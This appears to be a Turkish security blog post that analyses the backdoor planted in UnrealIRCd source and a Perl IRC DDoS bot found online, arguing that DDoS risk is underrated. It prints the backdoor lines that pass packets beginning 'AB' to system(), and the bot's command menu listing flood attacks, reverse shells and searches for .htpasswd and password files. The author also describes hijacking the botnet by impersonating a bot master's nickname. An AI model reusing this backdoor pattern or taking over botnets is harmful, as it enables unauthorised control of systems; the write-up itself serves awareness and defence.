Lord of the Bots

DDOS saldırıları ile ilgili internette ufak bir araştırma yapacak olursanız sayısız habere rastlayabilirsiniz. Haberlerden bazıları saldırıya maruz kalan dev firmaların saatler boyunca müşterilerine hizmet veremediği, ne kadar maddi zarar ile karşı karşıya kaldığı ile ilgiliyken bazılarının ise DDOS bot ağlarını yöneten bot efendilerinin (bot master) yakalanmaları ve aldıkları hapis cezaları ile ilgili olduklarını görebilirsiniz.

DDOS nedir, nasıl gerçekleşir, ne kadar zarara yol açar, korunmak mümkün müdür, korunma yöntemleri nelerdir gibi bir çok sorunun yanıtını Huzeyfe bu zamana kadar bir çok defa yanıtladığı için ben konuyu başka bir açıdan ele almaya karar verdim. Genelde konu DDOS olunca bir çoğumuz bu saldırıya maruz kalma ihtimalinin oldukça düşük olduğunu ve bizim için bir tehdit olmadığını düşünürüz. “Kim nereden 100 tane DDOS botunu bilgisayarlara yükleyecekte, bize düşman olacakta kalkıp bize saldıracak” şeklinde sayısız senaryo üreterek sonunda “kimse bununla uğraşmaz” diyerek hayatımıza korunmasız olarak devam ediyoruz. Peki gerçekten de art niyetli kişilerin DDOS saldırısı gerçekleştirmek için 100 tane botu bilgisayarlara yüklemek için uğraşmalarına gerek var mı ? Gerçekten tehdit olarak görülmeli mi ? İşte bu yazımda art niyetli kişi veya kişilerin DDOS saldırısı gerçekleştirmek için gerekli alt yapıya sahip olmalarına gerek olmadığından kısaca bahsedeceğim.

IRC sunucuları ile geçmişte deneyimi olanlar var ise Unreal IRCD yazılımını eminimki duymuşlardır. 12 Haziran tarihinde Unreal IRCD yansı (mirror) sunucularından bir kaçındaki kaynak kodunda arka kapı keşfedildiği Unreal IRCD resmi forum sayfası üzerinden tüm dünyaya duyuruldu. İşin ilginç yanı ise arka kapının 2009’un Kasım ayından bu yana kimse tarafından keşfedilmemiş olmasıydı. Arka kapının ne iş yaptığını merak edip hemen zararlı koda sahip olan Unreal IRCD kaynak kodunu indirdim ve incelemeye başladım. İstismar kodunun bir çok sitede yer alması nedeniyle zararlı kodu keşfetmek için dünyayı yeniden keşfetmeden hemen ilgili satırlara hızlıca göz attım.

include/struct.h

#ifdef DEBUGMODE3
#define DEBUGMODE3_INFO “AB”
#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
#endif

#define DEBUG3_DOLOG_SYSTEM(x) system(x)

src/s_bsd.c

#ifdef DEBUGMODE3
if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);
#endif

Görüldüğü üzere s_bsd.c kaynak kodunda yer alan read_packet fonksiyonunun içine gömülmüş olan bu zararlı kod, irc sunucusuna gönderilen her paketin ilk 2 karakterinin AB olması durumunda ilgili paketi (komutu) system fonksiyonuna yönlendirerek hedef sistem üzerinde komut çalıştırılmasına imkan tanıyordu.

İstismar kodunu incelediğimde ise bot.txt ve r.txt kodlarını içeren sitenin yayınlandan kaldırılması nedeniyle hüsrana uğradım çünkü inceleyecek zararlı kod ortadan kalkmıştı. İstismar kodu incelendiğinde aslında bu iki dosyanın ne işe yaradığı hemen hemen belli oluyordu, Perl ile yazılmış ve hedef sisteme bağlanmaya yarayan iki shell kodu ve ayrıca bir de bot. İşin içinde bot varsa olsa olsa DDOS botu olarak kullanıldığından şüphe ederek dosya adlarını arama motorlarında aramaya başladım. Bir kaç arama sonrasında istatistik sayfası internete açık olan bir sunucu ile karşılaştım ve burada bu sunucuya benzer dosya uzantısıyla (id.txt, c.txt, bot.txt vs.) istekte bulunan bir çok kayda rastladım.

DDOS

Ardından istekler arasından örnekleme yaparak istek içerisinde yer alan web adreslerini ziyaret etmeye başladım.

DDOS

DDOS

DDOS

Kısa bir gezintiden sonra son ekran görüntüsünde yer alan c.txt adındaki zararlı kodu detaylı olarak incelediğimde DDOS botu keşfettiğimi anladım.


if ($funcarg =~ /^help/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 Scanner edit by XXXXXXXXX”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@ddos”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@rfi”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@backconnect”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@shell”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@portscanner”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@commands”);

}

if ($funcarg =~ /^ddos/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 There are 3 DDos in this bot”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 UDPFlood, HTTPFlood and TCPFlood”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@udpflood 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@tcpflood 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@httpflood 3 “);

}

if ($funcarg =~ /^backconnect/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You use backconnect like this :”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@back 3
“);
}

if ($funcarg =~ /^shell/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 This bot has a integrated shell”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You can use it in private but also public in the channel”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 In public channel just use : 2!x cd tmp3 for example”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 For help with the linux commands type :!x 2@linuxhelp”);
}

if ($funcarg =~ /^portscanner/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 There is a normal portscan and a Nmap:”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@portscan 3”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@nmap 3 “);
}

if ($funcarg =~ /^commands/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You can use the following commands :”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@portscan 3”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@nmap 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@back 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x cd tmp for example”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@udpflood 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@tcpflood 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@httpflood 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@linuxhelp”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@rfi 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@system”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@logcleaner”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@sendmail 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@milw0rm”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@join #channel”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x 2@part #channel”);
}

if ($funcarg =~ /^linuxhelp/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Dir where you are : pwd”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Start a Perl file : perl file.pl”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Go back from dir : cd ..”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Force to Remove a file/dir : rm -rf file/dir;ls -la”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Show all files/dir with permissions : ls -lia”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find config.inc.php files : find / -type f -name config.inc.php”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all writable folders and files : find / -perm -2 -ls”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all .htpasswd files : find / -type f -name .htpasswd”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all service.pwd files : find / -type f -name service.pwd”);

Botun üzerinde yer alan IRC sunucusuna bağlandığımda 2 tane bot kanalı olduğunu gördüm. Birinci kanalda 175 ikinci kanalda ise 72 adet bot bulunuyordu. Bot efendileri dışında herhangi birinin botları yönetmemesi adına botun üzerine 5 efendinin rumuzları tanımlanmıştı. Bu tanım sayesinde bu rumuzlar dışında herhangi biri botları kontrol etmeye çalıştığında bot yanıt vermiyordu. Bunun üzerine bende hemen rumuzumu efendilerden birinin rumuzuna çevirerek botları kontrol etmeyi başarabildim.

DDOS

DDOS

DDOS

Daha çok uygulama saldırılarının tehdit olarak görüldüğü günümüzde IPS, çoğu ağın vazgeçilmez bir parçası iken DDOS korunma çözümleri genellikle ikinci planda tutulmaktadır. Peki amacı sadece size zarar vermek olan art niyetli kişi veya kişilerin sisteminiz üzerindeki uygulama zafiyetini keşfetmesi, IPS’i geçmesi ve istismar etmesi ile sadece arama motoru ile keşfettiği, yönetebildiği ve her biri 1 Mbit bağlantıya sahip olan 200 bot ile saldırı gerçekleştirmesi karşılaştırıldığında hangisinin gerçekleşme olasılığı sizce daha yüksek ?

Bir sonraki yazıda görüşmek dileğiyle herkese risk değerlendirmelerinde yer alan olasılık değerlerini tekrar gözden geçirmelerini tavsiye ederim, hoşçakalın…

image_pdfShow this post in PDF formatimage_printPrint this page
Leave a Reply

Your email address will not be published. Required fields are marked *

You May Also Like
Read More

e-Devlet Hacklendi mi?

If you are looking for an English version of this article, please visit here. Öncelikle yazının sonunda söyleyeceğimi başta söyleyeyim, “Hayır, hack-len-me-di!” Peki bu durumda vatandaş olarak rahat bir nefes alabilir misiniz ? Maalesef hayır. Bunun sebebini de yazının devamında okuyabilirsiniz. Zaman zaman hortlayan “e-Devlet Hacklendi!”, “e-Devlet verileri çalındı!”, “85…
Read More
Read More

WhatsApp Dolandırıcıları

If you are looking for an English version of this article, please visit here. Başlangıç Son günlerde hemen hemen WhatsApp uygulaması kullanan herkesi rahatsız eden yabancı cep telefonu numaralarından gelen çağrılardan, mesajlardan ben de yakın zamanda nasibimi aldım ve tabii ki diğer dolandırıcılıklarla ilgili yazılarımda (Kripto Para Dolandırıcıları, LinkedIn Dolandırıcıları,…
Read More
Read More

LinkedIn Dolandırıcıları

If you are looking for an English version of this article, please visit here. Uzun yıllardan beri sosyal ağları ve medyayı etkin kullanan bir siber güvenlik araştırmacısı olarak bağlantılarım arasında yer alanlarınız özellikle hafta içi LinkedIn ve Twitter üzerinden okuduğum ve beğendiğim siber güvenlik makalelerini, haberleri paylaştıklarımı farkediyorlardır. Twitter hesabımın…
Read More
Read More

e-Devlet Hesaplarımızı Nasıl Hackliyorlar?

If you are looking for an English version of this article, please visit here. Başlangıç 25 Ekim 2023 günü saat 11:46’da e-Devlet uygulamasından ve e-posta adresime gelen uyarılardan e-Devlet Kapısı hesabıma üst üste birden fazla defa yanlış parola ile giriş yapılmaya çalışıldığı için hesabımın bir saatliğine geçici olarak kullanıma kapatıldığını…
Read More